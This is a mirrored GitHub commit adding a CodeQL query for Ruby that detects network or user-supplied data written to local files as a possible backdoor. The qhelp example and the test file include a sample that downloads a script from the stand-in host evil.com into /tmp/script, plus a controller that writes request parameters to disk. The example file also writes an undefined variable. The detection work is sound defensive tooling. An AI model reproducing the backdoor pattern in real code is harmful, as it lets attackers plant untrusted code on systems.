mirror of
https://github.com/github/codeql.git
synced 2026-04-30 19:26:02 +02:00
Ruby: Add rb/http-to-file-access query
This commit is contained in:
@@ -0,0 +1,37 @@
|
||||
/**
|
||||
* Provides default sources, sinks and sanitizers for reasoning about
|
||||
* writing user-controlled data to files, as well as extension points
|
||||
* for adding your own.
|
||||
*/
|
||||
|
||||
import ruby
|
||||
import codeql.ruby.DataFlow
|
||||
import codeql.ruby.dataflow.RemoteFlowSources
|
||||
import codeql.ruby.Concepts
|
||||
|
||||
module HttpToFileAccess {
|
||||
/**
|
||||
* A data flow source for writing user-controlled data to files.
|
||||
*/
|
||||
abstract class Source extends DataFlow::Node { }
|
||||
|
||||
/**
|
||||
* A data flow sink for writing user-controlled data to files.
|
||||
*/
|
||||
abstract class Sink extends DataFlow::Node { }
|
||||
|
||||
/**
|
||||
* A sanitizer for writing user-controlled data to files.
|
||||
*/
|
||||
abstract class Sanitizer extends DataFlow::Node { }
|
||||
|
||||
/** A source of remote user input, considered as a flow source for writing user-controlled data to files. */
|
||||
class RemoteFlowSourceAsSource extends Source {
|
||||
RemoteFlowSourceAsSource() { this instanceof RemoteFlowSource }
|
||||
}
|
||||
|
||||
/** A sink that represents file access method (write, append) argument */
|
||||
class FileAccessAsSink extends Sink {
|
||||
FileAccessAsSink() { exists(FileSystemWriteAccess src | this = src.getADataNode()) }
|
||||
}
|
||||
}
|
||||
28
ruby/ql/lib/codeql/ruby/security/HttpToFileAccessQuery.qll
Normal file
28
ruby/ql/lib/codeql/ruby/security/HttpToFileAccessQuery.qll
Normal file
@@ -0,0 +1,28 @@
|
||||
/**
|
||||
* Provides a taint tracking configuration for reasoning about writing user-controlled data to files.
|
||||
*
|
||||
* Note, for performance reasons: only import this file if
|
||||
* `HttpToFileAccess::Configuration` is needed, otherwise
|
||||
* `HttpToFileAccessCustomizations` should be imported instead.
|
||||
*/
|
||||
|
||||
import ruby
|
||||
import codeql.ruby.TaintTracking
|
||||
import codeql.ruby.DataFlow
|
||||
import codeql.ruby.security.HttpToFileAccessCustomizations::HttpToFileAccess
|
||||
|
||||
/**
|
||||
* A taint tracking configuration for writing user-controlled data to files.
|
||||
*/
|
||||
class Configuration extends TaintTracking::Configuration {
|
||||
Configuration() { this = "HttpToFileAccess" }
|
||||
|
||||
override predicate isSource(DataFlow::Node source) { source instanceof Source }
|
||||
|
||||
override predicate isSink(DataFlow::Node sink) { sink instanceof Sink }
|
||||
|
||||
override predicate isSanitizer(DataFlow::Node node) {
|
||||
super.isSanitizer(node) or
|
||||
node instanceof Sanitizer
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,4 @@
|
||||
---
|
||||
category: newQuery
|
||||
---
|
||||
* Added a new query, `rb/http-to-file-access`. The query finds cases where data from remote user input is written to a file.
|
||||
43
ruby/ql/src/queries/security/cwe-912/HttpToFileAccess.qhelp
Normal file
43
ruby/ql/src/queries/security/cwe-912/HttpToFileAccess.qhelp
Normal file
@@ -0,0 +1,43 @@
|
||||
<!DOCTYPE qhelp PUBLIC
|
||||
"-//Semmle//qhelp//EN"
|
||||
"qhelp.dtd">
|
||||
<qhelp>
|
||||
|
||||
<overview>
|
||||
<p>
|
||||
Storing user-controlled data on the local file system without
|
||||
further validation allows arbitrary file upload, and may be
|
||||
an indication of malicious backdoor code that has been
|
||||
implanted into an otherwise trusted code base.
|
||||
</p>
|
||||
</overview>
|
||||
|
||||
<recommendation>
|
||||
<p>
|
||||
Examine the highlighted code closely to ensure that it is
|
||||
behaving as intended.
|
||||
</p>
|
||||
</recommendation>
|
||||
|
||||
<example>
|
||||
<p>
|
||||
The following example shows backdoor code that downloads data
|
||||
from the URL <code>https://evil.com/script</code>, and stores
|
||||
it in the local file <code>/tmp/script</code>.
|
||||
</p>
|
||||
|
||||
<sample src="examples/http_to_file_access.rb"/>
|
||||
|
||||
<p>
|
||||
Other parts of the program might then assume that since
|
||||
<code>/tmp/script</code> is a local file its contents can be
|
||||
trusted, while in fact they are obtained from an untrusted
|
||||
remote source.
|
||||
</p>
|
||||
</example>
|
||||
|
||||
<references>
|
||||
<li>OWASP: <a href="https://www.owasp.org/index.php/Trojan_Horse">Trojan Horse</a>.</li>
|
||||
<li>OWASP: <a href="https://www.owasp.org/index.php/Unrestricted_File_Upload">Unrestricted File Upload</a>.</li>
|
||||
</references>
|
||||
</qhelp>
|
||||
20
ruby/ql/src/queries/security/cwe-912/HttpToFileAccess.ql
Normal file
20
ruby/ql/src/queries/security/cwe-912/HttpToFileAccess.ql
Normal file
@@ -0,0 +1,20 @@
|
||||
/**
|
||||
* @name Network data written to file
|
||||
* @description Writing network data directly to the file system allows arbitrary file upload and might indicate a backdoor.
|
||||
* @kind path-problem
|
||||
* @problem.severity warning
|
||||
* @security-severity 6.3
|
||||
* @precision medium
|
||||
* @id rb/http-to-file-access
|
||||
* @tags security
|
||||
* external/cwe/cwe-912
|
||||
* external/cwe/cwe-434
|
||||
*/
|
||||
|
||||
import ruby
|
||||
import codeql.ruby.DataFlow::DataFlow::PathGraph
|
||||
import codeql.ruby.security.HttpToFileAccessQuery
|
||||
|
||||
from Configuration cfg, DataFlow::PathNode source, DataFlow::PathNode sink
|
||||
where cfg.hasFlowPath(source, sink)
|
||||
select sink.getNode(), source, sink, "$@ flows to file system", source.getNode(), "Untrusted data"
|
||||
@@ -0,0 +1,5 @@
|
||||
require "net/http"
|
||||
|
||||
resp = Net::HTTP.new("evil.com").get("/script").body
|
||||
file = File.open("/tmp/script", "w")
|
||||
file.write(body)
|
||||
@@ -0,0 +1,14 @@
|
||||
edges
|
||||
| http_to_file_access.rb:3:8:3:52 | call to body : | http_to_file_access.rb:5:12:5:15 | resp |
|
||||
| http_to_file_access.rb:9:16:9:21 | call to params : | http_to_file_access.rb:9:16:9:30 | ...[...] : |
|
||||
| http_to_file_access.rb:9:16:9:30 | ...[...] : | http_to_file_access.rb:11:18:11:23 | script |
|
||||
nodes
|
||||
| http_to_file_access.rb:3:8:3:52 | call to body : | semmle.label | call to body : |
|
||||
| http_to_file_access.rb:5:12:5:15 | resp | semmle.label | resp |
|
||||
| http_to_file_access.rb:9:16:9:21 | call to params : | semmle.label | call to params : |
|
||||
| http_to_file_access.rb:9:16:9:30 | ...[...] : | semmle.label | ...[...] : |
|
||||
| http_to_file_access.rb:11:18:11:23 | script | semmle.label | script |
|
||||
subpaths
|
||||
#select
|
||||
| http_to_file_access.rb:5:12:5:15 | resp | http_to_file_access.rb:3:8:3:52 | call to body : | http_to_file_access.rb:5:12:5:15 | resp | $@ flows to file system | http_to_file_access.rb:3:8:3:52 | call to body | Untrusted data |
|
||||
| http_to_file_access.rb:11:18:11:23 | script | http_to_file_access.rb:9:16:9:21 | call to params : | http_to_file_access.rb:11:18:11:23 | script | $@ flows to file system | http_to_file_access.rb:9:16:9:21 | call to params | Untrusted data |
|
||||
@@ -0,0 +1 @@
|
||||
queries/security/cwe-912/HttpToFileAccess.ql
|
||||
@@ -0,0 +1,19 @@
|
||||
require "net/http"
|
||||
|
||||
resp = Net::HTTP.new("evil.com").get("/script").body
|
||||
file = File.open("/tmp/script", "w")
|
||||
file.write(resp) # BAD
|
||||
|
||||
class ExampleController < ActionController::Base
|
||||
def example
|
||||
script = params[:script]
|
||||
file = File.open("/tmp/script", "w")
|
||||
file.write(script) # BAD
|
||||
end
|
||||
|
||||
def example2
|
||||
a = "a"
|
||||
file = File.open("/tmp/script", "w")
|
||||
file.write(a) # GOOD
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user